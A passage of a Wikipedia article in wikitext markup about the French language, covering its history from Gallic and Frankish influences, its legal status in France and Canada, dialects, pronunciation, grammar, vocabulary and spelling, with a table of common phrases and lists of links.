Although in the past many Frenchmen liked to refer to their descent from Gallic ancestors (''nos ancêtres les Gaulois''), perhaps fewer than 200 words with a Celtic etymological origin remain in French today (largely place and plant names and words dealing with rural life and the earth). Perhaps the most prominent of those are the names of  the country's main rivers ([[Seine]], [[Rhône]], [[Loire]], etc.) which originate from Gallic roots through their Latin and Greek renderings. In the reverse direction, some words for Gallic objects which were new to the Romans and for which there were no words in Latin were imported into Latin – for example, clothing items such as ''les braies'' (Gallic trousers).  Latin quickly became the [[lingua franca]] of the entire Gallic region for mercantile, official and educational purposes, yet it should be remembered that this was  [[Vulgar Latin]], the colloquial dialect spoken by the Roman army and its agents and not the literary dialect of [[Cicero]].

===The Franks===
From the third century on, Western Europe was invaded by [[Germanic tribe|Germanic]] tribes from the east, and some of these groups settled in Gaul.  For the history of the French language, the most important of these groups are the [[Franks]] in northern France, the [[Alemanni]] in the German/French border, the [[Burgundians]] in the [[Rhone]] valley and the [[Visigoth]]s in the [[Aquitaine]] region and Spain.  These Germanic-speaking groups had a profound effect on the Latin spoken in their respective regions, altering both the pronunciation and the syntax.  They also introduced a number of new words: perhaps as much as 15% of modern French comes from Germanic words, including many terms and expressions associated with their social structure and military tactics.

===Langue d'Oïl===
The medieval Italian poet [[Dante Alighieri|Dante]], writing in Latin in his ''[[De vulgari eloquentia]]'', classified the Romance languages into three groups: &quot;''nam alii oc, alii si, alii vero dicunt oil''&quot; (&quot;some say oc, others say si, others say oïl&quot;), thereby defining ''oïl languages'' (in northern France); ''oc languages'' (in southern France) and ''si languages'' (in [[Italy]] and [[Iberian Peninsula|Iberia]]). Modern linguists typically divide the languages spoken in medieval France into three geographical subgroups: [[Languages of Oïl|Langue d'oïl]] and [[Occitan language|Langue d'oc]] are the two major groups; the third group, [[Franco-Provençal language|Franco-Provençal]], is considered a transitional language between the two other groups.  The Oïl&amp;ndash;Oc divide may be broadly compared to the divide illustrated by the use of &quot;yes&quot; in [[English language|English]] and &quot;aye&quot; in [[Scots language|Scots]].

The Romance language group in the north of France is that of the langue d'oïl, the languages which use ''oïl'' (in modern usage, ''oui'') for &quot;yes&quot;.  These languages, like [[Picard language|Picard]], [[Walloon language|Walloon]], [[Francien]] and [[Norman language|Norman]], were influenced by the [[Germanic languages]] spoken by the Frankish invaders.  From the time period [[Clovis I]] on, the Franks extended their rule over northern Gaul.  Over time, the French language developed from either the Oïl language found around [[Paris]] (the Francien theory) or from a standard administrative language based on common characteristics found in all Oïl languages (the [[lingua franca]] theory).  Oïl derives from the Latin ''hoc ille'' (&quot;that is it&quot;).  

Langue d'oc, the languages which use ''oc'' for &quot;yes&quot;, is the language group in the south of France and northern [[Spain]]. These languages, such as [[Gascon language|Gascon]] and [[Provençal language|Provençal]], have relatively little Frankish influence. Oc/òc derive from the Latin ''hoc''.

Modern French has two words for &quot;yes&quot;, ''oui'' and ''si''; the latter is used to contradict negative statements or respond to negative questions. ''Si'' derives from Latin ''sic'' (&quot;thus&quot;), and is cognate to the word for &quot;yes&quot; in Spanish, Italian, and Catalan.

===Foreign language groups===
The early middle ages also saw the influence of other linguistic groups on the dialects of France:

From the [[5th century|5th]] to the [[8th century|8th]] centuries, Celtic-speaking peoples from southwestern Britain ([[Wales]], [[Cornwall]], [[Devon]]) travelled across the [[English Channel]], both for reasons of trade and as a result of the [[Anglo-Saxon]] invasions of England.  They established themselves in [[Brittany|Bretagne]] (Brittany). Their language was a dialect of the [[Brythonic languages]], which has been named [[Breton language|Breton]] in more recent centuries. It is part of the larger [[Celtic language]] family, though the modern dialects reflect a noticeable influence from French in their vocabulary.

From the [[6th century|6th]] to the [[7th century|7th]] centuries, the Vascons crossed over the [[Pyrenees|Pyrénées]], a mountain range in the south of France.  Their presence influenced the [[Occitan language]] spoken in southwestern France, resulting in the dialect called [[Gascon language|Gascon]].

Scandinavian [[Vikings]] invaded France from the [[9th century]] onwards and established themselves in what would come to be called [[Normandy|Normandie]] (Normandy). They took up the [[oïl languages|langue d'oïl]] spoken there and contributed many words to French related to maritime activities, amongst other things.

With their [[Norman conquest|conquest]] of England in [[1066]], the [[Normans]] brought [[Norman language|their language]].  The dialect that developed there as a language of administration and literature is referred to as [[Anglo-Norman language|Anglo-Norman]].  Anglo-Norman served as the language of the ruling classes and commerce in England from the time of the conquest until [[1362]], when the use of [[History of the English Language#Period of French Domination|English]] became dominant again.  Because of the Norman Conquest, the [[English language]] has borrowed a considerable amount of its vocabulary from French.

The [[Arab]] peoples also supplied many words to French around this time period, including words for luxury goods, [[spices]], trade stuffs, sciences and [[mathematics]].

===Modern French===
For the period up to around [[1300]], some linguists refer to the [[oïl languages]] collectively as [[Old French]] (''ancien français''). The earliest extant text in French is the [[Oaths of Strasbourg]] from [[842]]; Old French became a [[literary language]] with the ''[[chanson de geste|chansons de geste]]'' that told tales of the [[paladin]]s of [[Charlemagne]] and the [[hero]]es of the [[Crusade]]s. 

By the [[Ordinance of Villers-Cotterêts]] in [[1539]] King [[Francis I of France|Francis I]] made French the [[official language]] of administration and court proceedings in France, ousting the [[Latin]] that had been used before then. With the imposition of a standardised chancery dialect and the loss of the declension system, the dialect is referred to as [[Middle French]] (''moyen français'').  Following a period of unification, regulation and purification, the French of the [[17th century|17th]] to the [[18th century|18th centuries]] is sometimes referred to as [[Classical French]] (''français classique''), although many linguists simply refer to French language from the 17th century to today as [[Modern French]] (''français moderne'').   

The foundation of the [[Académie française]] (French Academy) in [[1634]] by [[Cardinal Richelieu]] created an official body whose goal has been the purification and preservation of the French language.  This group of 40 members is known as the Immortals, not, as some erroneously believe, because they are chosen to serve for the extent of their lives (which they are), but because of the inscription engraved on the official seal given to them by their founder Richelieu&amp;mdash;&quot;À l'immortalité&quot; (&quot;to the Immortality (of the French language)&quot;). The foundation still exists and contributes to the policing of the language and the adaptation of foreign words and expressions.  Some recent modifications include the change from ''software'' to ''logiciel'', ''packet-boat'' to ''paquebot'', and ''riding-coat'' to ''redingote''.  The word ''ordinateur'' for ''computer'' was however not created by the Académie, but by a linguist appointed by [[IBM]] (see [[:fr:ordinateur]]).

From the 17th to the [[19th century|19th centuries]], France was the leading power of Europe; thanks to this, together with the influence of the [[Age of Enlightenment|Enlightenment]], French was the [[lingua franca]] of educated Europe, especially with regards to the arts, literature, and [[diplomacy]]; monarchs like [[Frederick II of Prussia]] and [[Catherine the Great]] of Russia could both speak and write in French.

Through the Académie, public education, centuries of official control and the role of media, a unified official French language has been forged, but there remains a great deal of diversity today in terms of regional accents and words.  For some critics, the &quot;best&quot; pronunciation of the French language is considered to be the one used in Touraine (around [[Tours, France|Tours]] and the [[Loire River]] valley), but such value judgments are fraught with problems, and with the ever increasing loss of lifelong attachments to a specific region and the growing importance of the national media, the future of specific &quot;regional&quot; accents is often difficult to predict.

===Modern issues===
There is some debate in today's France about the preservation of the French language and the influence of English (see [[franglais]]), especially with regard to international business, the sciences and popular culture.  There have been laws (see [[Toubon law]]) enacted which require that all print ads and billboards with foreign expressions include a French translation and which require quotas of French-language songs (at least 40%) on the radio. There is also pressure, in differing degrees, from some regions as well as minority political or cultural groups for a measure of recognition and support for their [[regional language]]s.

== Geographic distribution==
[[Image:Map-Francophone World.png|thumb|300px|right|Dark blue: French-speaking; blue: official language; Light blue: language of culture; green: minority]]

[[La Francophonie]] is an international organization of French-speaking countries and governments.

===Legal status in France===
Per the [[Constitution of France]], French is the official language of the Republic since 1992 [http://www.languefrancaise.net/dossiers/dossiers.php?id_dossier=50].

[[France]] mandates the use of French in official government publications, public [[education]] outside of specific cases (though these dispositions are often ignored) and legal [[contract]]s; [[advertisement]]s must bear a translation of foreign words. ''See [[Toubon Law]]''.

Contrary to a [[Urban myth|misunderstanding]] common in the [[United States|American]] and [[United Kingdom|British]] [[mass media|media]], France does not prohibit the use of foreign words in [[Web page|websites]] or any other private publication, which would anyway contradict [[constitutional]] guarantees on [[freedom of speech]]. The misunderstanding may have arisen from a similar prohibition in the Canadian province of [[Quebec]] which made strict application of the [[Charter of the French Language]] between 1977 and 1993, although these regulations addressed language used in advertising and the provision of commercial services offered within the province, not the language of private communication.

There exist in addition to French a variety of languages spoken in France by minorities; see [[Languages of France]].

===Legal status in Canada===
About 12% of the world's francophones are Canadian, and French is one of [[Canada]]'s two official languages, with English; various provisions of the [[Canadian Charter of Rights and Freedoms]] deal with the right of Canadians to access services in English and French all across Canada. By [[law]], the federal government must operate and provide services in both English and French; proceedings of the [[Parliament of Canada]] must be translated into both English and French; and all Canadian products must be labelled in both English and French. Overall about 22% of Canadians speak French as a first language and 18% are bilingual.

French has been the only official language of [[Quebec]] since [[1974]], although it is commonly (and incorrectly) believed that the designation of French as the sole official language occurred in [[1977]] with the adoption of the [[Charter of the French Language]] (which is popularly referred to as ''Bill 101''). By far the provision of Bill 101 with the most significant impact has been that which mandates French-language [[education]], unless a child's parents or siblings have received the major part of their own education in English within Canada. That provision has reversed a historical trend whereby a large number of immigrant children were being sent to English schools by their parents. In so doing, Bill 101 has greatly contributed to the &quot;visage français&quot; (French face) of Quebec. Other provisions of Bill 101, on the other hand, have been ruled unconstitutional over the years, including those mandating French-only commercial signs, court proceedings, and debates in the legislature. Some of those provisions have remained in effect, for a while, using the constitutional &quot;notwithstanding&quot; clause that permits a non-compliant law to temporarily remain. (No &quot;notwithstanding provision&quot; is currently in effect). In 1993 the Charter was changed to allow signage in other languages so long as French is markedly &quot;predominant&quot;. The Charter also provides for a measure of access by Anglophones to health and social services in their own language.

The only other province which has French as an official language is [[New Brunswick]]. The highest number of Francophones in [[North America]], outside [[Quebec]], reside in [[Ontario]] whereas [[New Brunswick]] has the highest percentage of Francophones after [[Quebec]]. In [[Ontario]], [[Nova Scotia]] and [[Manitoba]], French does not have full official status, although the provincial governments do provide full French-language services in all communities where significant numbers of francophones live. Canada's capital city,  Ottawa, [[Ontario]] is recognized by the government of [[Ontario]] as being officially bilingual. Sudbury and Cornwall are also officially bilingual cities in the north and east of the province, respectively. Throughout [[Ontario]], the French Language Services Act, adopted in 1986, guarantees French language services where the Francophone population represents greater than 5%, especially in the north and east of the province, as well as in the other larger centres, apart from Ottawa, such as Toronto, Hamilton, Mississauga, London, Kitchener, St. Catharine's-Niagara and Windsor. A similar law came into effect in [[Nova Scotia]] in 2005. After having had the status of an Observer at the last meeting of the [[Francophonie]], [[Ontario]] is now joining this organization as a full Member along with Canada, [[Quebec]] and [[New Brunswick]].

All of the other provinces do make some effort to accommodate the needs of their francophone [[citizen]]s, although the level and quality of French-language service varies significantly from province to province.

=== Legal status in other countries ===
French is an official language in [[Switzerland]]. It is spoken in the part of Switzerland called ''[[Romandy]]''. It is an official language in Belgium and is spoken in the part of the country called Wallonie and in the capital, Brussels (Bruxelles). It is also an Official Language, along with Italian, in [[Val d'Aoste]], [[Italy]]. It is the official language of the principality of [[Monaco]]. It is the official or administrative language of many African countries (such as Ivory Coast, Gabon, Democratic Republic of Congo, Senegal) and of a few Asian countries (such as Laos).

===Regional Varieties===
: ''See [[Dialects of the French language]]''

*[[Acadian French]]
*[[African French]]
*[[Français d'Aoste]]
*[[Belgian French]]
*[[Cajun French]]
*[[Canadian French]]
*[[Cambodian French]]
*[[Greater Paris French]] (''le francilien'')
*[[Français-germanique]]
*[[Indian French]]
*[[Jersey Legal French]]
*[[Lao French]]
*[[Levantine French]]
*[[Maghreb French]]
*[[Français Méridional]]
*[[Caldoche|New Caledonian French]]
*[[Newfoundland French]]
*[[North American French]]
*[[Oceanic French]]
*[[Quebec French]]
*[[South East Asian French]]
*[[Swiss French]]
*[[Vietnamese French (dialect)|Vietnamese French]]
*[[West Indian French]]

===Derived languages===
*[[Antillean Creole]]
*[[Haitian Creole]]
*[[Lanc-Patuá]]
*[[Mauritian Creole]]
*[[Michif]]
*[[Kreyol Lwiziyen|Louisiana Creole French]]
*[[Réunionese Creole]]
*[[Seychellois Creole]]
*[[Tay Boi]]

==Sound system==
:''Main article: [[French phonology and orthography]]''
{{IPA notice}}
French pronunciation follows strict rules based on spelling, but French spelling is often based more on history than phonology.  The rules for pronunciation vary between dialects, but the standard  rules are:

* ''liaison'' or linking:  Final single consonants, in particular  s, x, z, t, d, n and m, are normally silent. (The final letters 'c', 'r', 'f', and 'l' however are normally pronounced.)  When the following word begins with a vowel, though, a silent consonant ''may'' once again be pronounced, to provide a &quot;link&quot; between the two words and avoid a [[Hiatus (linguistics)|hiatus]].  Some liaisons are ''mandatory'', for example the ''s'' in ''les amants'' or ''vous avez''; some are ''optional'', depending on [[dialect]] and [[register (linguistics)|register]], for example the first ''s'' in ''deux cents euros'' or ''euros irlandais''; and some are ''forbidden'', for example the ''s'' in ''beaucoup d'hommes aiment''.  The ''t'' of ''et'' is never pronounced and the silent final consonant of a noun is only pronounced in the plural and in set phrases like ''pied-à-terre''.  Doubling a final consonant and adding a silent ''e'' at the end of a word (e.g. ''Parisien'' → ''Parisienne'') makes it clearly pronounced, always.  

* [[elision]] or vowel dropping:  Monosyllabic pronouns and conjuctions ending in an ''a'' or a silent ''e'', such as ''je'' and ''que'', drop their final vowel when placed before a word that begins with a vowel sound.  The missing vowel is replaced by an apostrophe.  (e.g. ''je ai'' is instead pronounced and spelt → ''j'ai''). This gives for example the same pronunciation for &quot;l'homme qu'il a vu&quot; (&quot;the man whom he saw&quot;) and &quot;l'homme qui l'a vu&quot; (&quot;the man who saw him&quot;).

* [[nasal]] &quot;[[n]]&quot; and &quot;[[m]]&quot;.  When &quot;n&quot; or &quot;m&quot; follows a vowel or dipthong, the &quot;n&quot; or &quot;m&quot; becomes silent and causes the preceding vowel to become nasalized (i.e. pronounced with the soft palate extended downward so as to allow part of the air to leave through the nostrils).   Exceptions are when the &quot;n&quot; or &quot;m&quot; is doubled, or immediately followed by a non-silent vowel.  The prefixes ''en-'' and ''em-'' are always nasalized.  The rules get more complex than this but may vary between dialects.

* [[digraph (orthography)|digraphs]] French does not introduce extra letters or diacritics to specify its large range of vowel sounds and [[diphthongs]], rather it uses specific combinations of vowels, sometimes with following consonants, to show which sound is intended.  (See [[French phonology and orthography]] or [http://www.languageguide.org/francais/grammar/pronunciation/ French Pronunciation Guide] for more details.)

* [[gemination]] : Within words, double consonants are not pronounced as geminates in modern French (but you could hear geminates in the cinema or TV news as far as the 70's). For example, &quot;illusion&quot; is pronounced [ilyzjő] and not [illyzjõ]. But gemination occurs in sentences. For example, &quot;il l'a arrêté&quot; (&quot;he stopped it&quot;) is pronounced [illaaʁete], whereas &quot;il a arrêté&quot; (&quot;he stopped&quot;) is pronounced [ilaaʁete].

* [[Accent (linguistics)|accent]]s are used sometimes for pronunciation, sometimes to distinguish similar words, and sometimes for etymology alone.  
** '''Accents that affect pronunciation:'''
***The acute accent (''l'accent aigu''), &quot;é&quot; (e.g.,''école''— school), is pronounced {{IPA|/e/}} instead of the defaults {{IPA|/ɛ/}} or{{IPA|/ə/}},
***The grave accent (''l'accent grave''), &quot;è&quot; (e.g., ''élève''— pupil) means that the vowel is pronounced {{IPA|/ɛ/}} (as usual),
***The [[dieresis]] (''le tréma'') (e.g. ''naïve''— foolish, ''Noël''— Christmas) as in English, specifies that this vowel is pronounced separately from the preceding one (or following one in some cases), not combined, 
***The cedille (''la cédille'')&quot;ç&quot; (e.g., ''garçon''— boy) means that the letter ''c'' is pronounced {{IPA|/s/}} in front of A, O, or U.  (&quot;c&quot; is otherwise hard {{IPA|/k/}} before a hard vowel.)
***The [[circumflex]] (''l'accent circonflexe'') &quot;ê&quot; (e.g., ''forêt''— forest) shows that an ''e'' is pronounced {{IPA|/ɛ/}} and that an ''o'' is pronounced {{IPA|/o/}}. In some dialects it also signifies a pronunciation of {{IPA|/ɑ/}} for the letter ''a'', but this differentiation is disappearing. In the late 19th century, the circumflex was used in place of 's' where that letter was not to be pronounced. Thus, ''forest'' became ''forêt'' and ''hospital'' became'' hôpital''.  
** '''Accents with no pronunciation effect:'''
***The circumflex does not affect the pronunciation of the letters ''i'' or ''u'', and in most dialects, ''a'' as well.
***All other accents are used only to distinguish similar words or for etymological reasons, as in the case of distinguishing the adverbs ''là'' and ''où'' (&quot;there&quot;, &quot;where&quot;) from the article ''la'' and the conjunction ''ou'' (&quot;the fem. sing.&quot;, &quot;or&quot;) respectively.

==Grammar==
:''Main article: [[French grammar]]''
French grammar shares several notable features with most other Romance languages, including:

* the loss of Latin's [[declension]]s
* only two [[grammatical gender]]s
* the development of grammatical [[article (grammar)|article]]s from Latin [[demonstrative]]s
* new [[tense]]s formed from auxiliaries

French word order is [[Subject Verb Object]], except when the object is a pronoun, in which case the word order is [[Subject Object Verb]].

==Vocabulary==
The majority of French words derive from vernacular or &quot;vulgar&quot; Latin or were constructed from Latin or Greek roots. There are often pairs of words, one form  being popular (noun) and the other one savant (adjective), both originating from Latin. Example:

* brother: ''frère'' (brother) / ''fraternel''
* finger: ''doigt'' / ''digital''
* faith: ''foi'' (faith) / ''fidèle''
* cold: ''froid'' / ''frigide''
* eye: ''œil'' / ''oculaire''

The French words which have developed from Latin are usually less recognisable than [[Italian language|Italian]] words of Latin origin because as French developed into a separate language from [[Vulgar Latin]], the unstressed final [[syllable]] of many words was dropped or elided into the following word. 

It is estimated that 12 percent (4,200) of common French words found in a typical [[dictionary]] such as the ''Petit Larousse'' or ''Micro-Robert Plus'' (35,000 words) are of foreign origin. About 25 percent (1,054) of these foreign words come from [[English language|English]] and are fairly recent borrowings. The others are some 707 words from [[Italian language|Italian]], 550 from ancient [[Germanic languages]], 481 from ancient [[Gallo-Romance languages]], 215 from [[Arabic language|Arabic]], 164 from [[German language|German]], 160 from [[Celtic languages]], 159 from [[Spanish language|Spanish]], 153 from [[Dutch language|Dutch]], 112 from [[Persian language|Persian]] and [[Sanskrit language|Sanskrit]], 101 from [[Native American languages]], 89 from other [[Asian languages]], 56 from [[Afro-Asiatic languages]], 55 from [[Slavic languages]] and [[Baltic languages]], and 144&amp;mdash;about three percent&amp;mdash;from other languages (Walter &amp; Walter 1998).

===Numerals===
The French counting system is partially [[vigesimal]]:
[[20 (number)|twenty]] (''{{lang|fr|vingt}}'') is used as a base number in the names of numbers from 80-99.  So for example, ''{{lang|fr|quatre-vingts}}'' means 4 times 20, i.e. is the French word for [[80 (number)|80]], and ''{{lang|fr|soixante quinze}}'' (literally &quot;sixty-fifteen&quot;) means 75. This is comparable to archaic English use of &quot;score&quot;, as in &quot;fourscore and seven&quot; (87), or &quot;threescore and ten&quot; (70).

[[Belgian French]] and [[Swiss French]] are different in this respect.

==Writing system==
French is written using the [[Latin alphabet]], plus five diacritics (the [[circumflex]] accent, [[acute accent]], [[grave accent]], [[diaeresis]], and [[cedilla]]) and one [[Ligature (typography)|ligature]] (œ).

French spelling, like English spelling, tends to preserve obsolete pronunciation rules. This is mainly due to extreme phonetic changes since the Old French period, without a corresponding change in spelling.  However, some conscious changes were also made to restore Latin orthography:

* Old French ''doit'' &gt; French ''doigt'' &quot;finger&quot; (Latin ''digitum'')
* Old French ''pie'' &gt; French ''pied'' &quot;foot&quot; (Latin ''pedem'')

As a result, it is nearly impossible to predict the spelling on the basis of the sound alone.  Final consonants are generally silent, except when the following word begins with a vowel.  For example, all of these words end in a vowel sound: ''pied'', ''aller'', ''les'', ''finit'', ''beaux''.  The same words followed by a vowel, however, may sound the consonants, as they do in these examples:  ''beaux-arts'', ''les amis'', ''pied-à-terre''.

On the other hand, a given spelling will almost always lead to a predictable sound, and the [[Académie française]] works hard to enforce and update this correspondence.  In particular, a given vowel combination or diacritic predictably leads to one phoneme.  

The diacritics have phonetic, semantic, and etymological significance.

* [[grave accent]] (à, è, ù): Over ''a'' or ''u'', used only to distinguish homophones: ''à'' (&quot;to&quot;) vs. ''a'' (&quot;has&quot;), ''ou'' (&quot;or&quot;) vs. ''où'' (&quot;where&quot;).  Over an ''e'', indicates the sound {{IPA|/ɛ/}}.
* [[acute accent]] (é): Over an ''e'', indicates the sound {{IPA|/e/}}, the ''ai'' sound in such words as English ''hay'' or ''neigh''. It often indicates the historical deletion of a following consonant (usually an ''s''): ''écouter'' &lt; ''escouter''.
* [[circumflex]] (â, ê, î, ô, û): Over an ''e'' or ''o'', indicates the sound {{IPA|/ɛ/}} or {{IPA|/o/}}, respectively.  Most often indicates the historical deletion of an adjacent letter (usually an ''s'' or a vowel): ''château'' &lt; ''castel'', ''fête'' &lt; ''feste'', ''sûr'' &lt; ''seur'', ''dîner'' &lt; ''disner''.  By extension, it has also come to be used to distinguish homophones: ''du'' (&quot;of the&quot;) vs. ''dû'' (past participle of ''devoir'' &quot;to owe&quot;; note that ''dû'' is in fact written thus because of a dropped ''e'': ''deu'').
* [[diaeresis]] or ''tréma'' (ë, ï, ü): Indicates that a vowel is to be pronounced separately from the preceding one: ''naïve'', ''Noël''. Diaeresis on ÿ only occurs in some proper names (such as l'Haÿ-les-Roses) and in modern editions of old French texts. Since the 1990 orthographic rectifications, the diaeresis in words containing ''guë'' (such as ''aiguë'' or ''ciguë'') should be moved onto the ''u'': ''aigüe'', ''cigüe''. Words coming from German retain the old Umlaut if applicable but uses French pronunciation, such as ''kärcher''(trade mark of a pressure washer).
* [[cedilla]] (ç): Indicates that an etymological ''c'' is pronounced {{IPA|/s/}} when it would otherwise be pronounced /k/. Thus ''je lance'' &quot;I throw&quot; (with ''c'' = {{IPA|[s]}} before ''e''), ''je lan'''ç'''ais'' &quot;I was throwing&quot; (''c'' would be pronounced {{IPA|[k]}} before ''a'' without the cedilla).

The ligature œ is a mandatory contraction of ''oe'' in certain words (''sœur'' &quot;sister&quot; {{IPA|/sœʁ/}}, ''œuvre'' &quot;work [of art]&quot; {{IPA|/œvʁ/}}, ''cœur'' &quot;heart&quot; {{IPA|/kœʁ/}}, ''cœlacanthe'' &quot;coelacanth&quot; {{IPA|/selakɑ̃t/}}), sometimes in words of Greek origin, spelled with an οι {{IPA|/oj/}} diphthong which became ''oe'' in Latin, pronounced {{IPA|/e/}} in French (and other [[Romance languages]]): ''oesophage'' {{IPA|/ezɔfaʒ/}}, ''œnologie'' {{IPA|/enɔlɔʒi/}}. It may also appear in ''œu'' [[Digraph (orthography)|digraph]] (or ''œ'' alone in ''œil'' &quot;eye&quot;), in words that were once written with ''eu'' digraph (which could be read {{IPA|/y/}} or {{IPA|/œ/}}, depending on the word): ''bœuf'' &quot;ox&quot; {{IPA|/bœf/}} (Old French ''buef'' or ''beuf''), ''mœurs'' {{IPA|/mœʁ/}} &quot;custom&quot;, ''œil'' &quot;eye&quot; {{IPA|/œj/}}, etc. In these cases, the Latin etymon must be spelled with an ''o'' where the French word has ''œu'': ''bovem'' &gt; ''bœuf'', ''mores'' &gt; ''mœurs'', ''oculum'' &gt; ''œil''. 

Some attempts have been made to [[Reforms of French orthography|reform]] French spelling, but few major changes have been made over the last two centuries.

==Examples of French==
{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse;&quot;
!English
!French
!pronunciation
|-
||French|| ''Français'' || {{IPA|/fʁɑ̃sɛ/}}
|-
||English || ''Anglais'' || {{IPA|/ɑ̃ɡlɛ/}}
|-
||Yes || ''Oui'' || {{IPA|/wi/}}
|-
||No || ''Non'' || {{IPA|/nɔ̃/}}
|-
||Hello! || ''Bonjour !'' || {{IPA|/bɔ̃ʒuːʁ/}}
|-
||Good evening! || ''Bonsoir !'' || {{IPA|/bɔ̃swa:ʁ/}}
|-
||Good night! || ''Bonne nuit !'' || {{IPA|/bɔnnɥi/}}
|-
||Goodbye! || ''Au revoir !'' || {{IPA|/ɔʁvwaːʁ/}}
|-
||Have a good day! || ''Bonne journée !'' || {{IPA|/bɔnʒuʁne/}}
|-
||Please || ''S'il vous plaît'' || {{IPA|/silvuple/}}
|-
||Thank you || ''Merci'' || {{IPA|/mɛʁsi/}}
|-
||Sorry || ''Pardon'' / ''désolé'' (if male) / ''désolée'' (if female) || {{IPA|/dezɔle/}}
|-
||Who? || ''Qui ?'' || {{IPA|/ki/}}
|-
||What? || ''Quoi ?'' || {{IPA|/kwa/}}
|-
||When? || ''Quand ?'' || {{IPA|/kɑ̃/}}
|-
||Where? || ''Où ?'' || {{IPA|/u/}}
|-
||Why? || ''Pourquoi ?'' || {{IPA|/puʁkwa/}}
|-
||Because || ''Parce que'' || {{IPA|/paʁs(ə)kə/}}
|-
||How? || ''Comment ?'' || {{IPA|/kɔmɑ̃/}}
|-
||How much? || ''Combien ?'' || {{IPA|/kɔ̃bjɛ̃/}}
|-
||I do not understand. || ''Je ne comprends pas.'' || {{IPA|/ʒənəkɔ̃pʁɑ̃pɑ/}}
|-
||Help me!|| ''Aidez-moi !'' || {{IPA|/edemwa/}}
|-
||Where's the bathroom? || ''Où sont les toilettes ?'' || {{IPA|/u sɔ̃ le twalɛt/}}
|-
||Do you speak English? || ''Parlez-vous anglais ?'' || {{IPA|/paʁlevu ɑ̃ɡle/}}
|-
|}

==References==
* Walter, [[Henriette Walter|Henriette]] and [[Gérard Walter|Gérard]], ''Dictionnaire des mots d'origine étrangère,'' [[1998]].

==See also==
* [[Académie française]]
* [[Common phrases in different languages]]
* [[List of English words of French origin]]
* [[List of French phrases]]
* [[Francophone]]
* [[French in the United States]]
* [[French Language Wikipedia]]
* [[French phrases used by English speakers]]
* [[French proverbs]]
* [[Reforms of French orthography]]
* [[Morphology of the French verb]]
* [[Louchebem]]
* [[Verlan]]
* [[Creole language#French Creoles|French Creole languages]]

==External links==
{{InterWiki|code=fr}}
{{Wikibookspar||French}}
{{Commonscat|French}}
*[http://www.learnfrenchathome.com/ Learn French at Home] Learn French with a teacher via internet or telephone!
*[http://www.jump-gate.com/languages/french/ French Language Course], free and the first on the net
*[http://www.ielanguages.com/french.html French Language Tutorial] at ielanguages.com
*[http://www.linguaguide.com/ French at LinguaGuide], free resource locator
*[http://www.langtolang.com/ Langtolang French, English, Turkish, German, Italian, Spanish, Portuguese, Rumanian, Swedish, Danish, Polish, Czech, Hungarian, Finnish, Esperanto, Swahili, Serbo_Croat Multilingual Dictionary]
*[http://www.wordreference.com/ Wordreference.com dictionary]
*[http://www.my-french-dictionary.com/ My French Picture Dictionary]
*[http://www.etienne-meul.be Plenty of exercises on French grammar] 
*{{About.com|topic=French}}
*[http://www.dicts.info/dictlist1.php?k1=33 All free French dictionaries] Collection of free French dictionaries.
*[http://www.window.to/french/ Learn French online]
*[http://francophones.activebb.net/ French language forum]
*{{fr icon}} [http://www.academie-francaise.fr/ Académie Française]
*{{fr icon}} [http://www.oqlf.gouv.qc.ca/ Office québécois de la langue française]
*{{fr icon}} [http://www.granddictionnaire.com Grand dictionnaire]
*[http://french.about.com/library/begin/bl_begin_vocab.htm Beginning French Vocabulary]
*[http://radio-canada.ca/education/francaismicro/ Capsules linguistiques - Radio-Canada.ca]
*[http://www.moelc.moe.edu.sg/french/ Département de Français, Ministry of Education Language Centre, Singapore]
*[http://www.ethnologue.com/show_language.asp?code=fra Ethnologue report for French]
*[http://www.sprachprofi.de.vu/english/f.htm Free online resources for learners]
*[http://www.lexilogos.com/french_language_dictionary.htm French-English : all online dictionaries]
*[http://www.intuxication.org/~webtypo/le_francais_facile.htm Le français facile]
*[http://portal.wikinerds.org/rapidfrench How to learn French in 10 months]
*[https://oraprdnt.uqtr.uquebec.ca/pls/public/atxw007?owa_no_recueil=1&amp;owa_nom_recueil=ELF  Welcome to Easy French Literature]
*[http://dhost.info/defu/wiki/index.php?id=French_accentuation_rules Basic tips of French accentuation]
*[http://www.eslbase.com/language-exchange/ Language Exchange - Learn French]
*[http://www.languagehelpers.com/words/french/basics.html LanguageHelpers]
*[http://www.lightandmatter.com/french/ Liberté], an online first-year French textbook
*[http://www.listenandlearn.org/learn/french/index.php Learn French by reading and listening]
*[http://dhost.info/defu/wiki/index.php?id=Virtual_French_Keyboard A virtual French keyboard] 
*[http://linearb.co.uk:8080/memory/ Searchable French-English dictionary], with example sentences
*{{fr icon}} [http://atilf.atilf.fr/ Le Trésor de la Langue Française informatisé] (''very comprehensive'')
*[http://truckspeak.monsite.wanadoo.fr Truck Drivers' French - English, English - French Dictionary]
*[http://french.window.to Learn about the French language]
*[http://www.loecsen.com/travel/discover_pop.php?lang=en&amp;to_lang=3&amp;learn-French/ Listen to useful French expressions]
*[http://sourceforge.net/projects/fvcr/ Open source database of French verb conjugation rules]
*[http://www.learnfrenchlive.com/ Learn French Live], Learn French one-on-one using MSN
*[http://www.granddictionnaire.com/ Grand dictionnaire terminologique] French-English, English-French dictionary of technical terms from numerous disciplines
*[http://www.quiz-tree.com/French_Vocabulary_main.html Everyday French Vocabulary Training]
*[http://french.typeit.org Type any text with French characters].
*[http://www.freefrenchebook.com Free online activities for learning and practicing the language].
{{french dialects}}

{{Official EU languages}}

[[Category:French language]]
[[Category:Guttural R]]
[[Category:Languages of Belgium]]
[[Category:Languages of Canada]]
[[Category:Languages of France]]
[[Category:Languages of French Guiana]]
[[Category:Languages of French Polynesia]]
[[Category:Languages of Luxembourg]]
[[Category:Languages of Morocco]]
[[Category:Languages of New Caledonia]]
[[Category:Languages of Switzerland]]
[[Category:Languages of Wallis and Futuna]]
[[Category:Oïl languages]]
[[Category:Synthetic languages]]

[[af:Franse taal]]
[[als:Französische Sprache]]
[[ang:Frencisc sprǣc]]
[[ar:لغة فرنسية]]
[[an:Idioma franzés]]
[[bg:Френски език]]
[[bm:Faransikan]]
[[zh-min-nan:Hoat-gí]]
[[br:Galleg]]
[[ca:Francès]]
[[cs:Francouzština]]
[[cy:Ffrangeg]]
[[da:Fransk (sprog)]]
[[de:Französische Sprache]]
[[et:Prantsuse keel]]
[[el:Γαλλική γλώσσα]]
[[es:Idioma francés]]
[[eo:Franca lingvo]]
[[eu:Frantses]]
[[fa:زبان فرانسوی]]
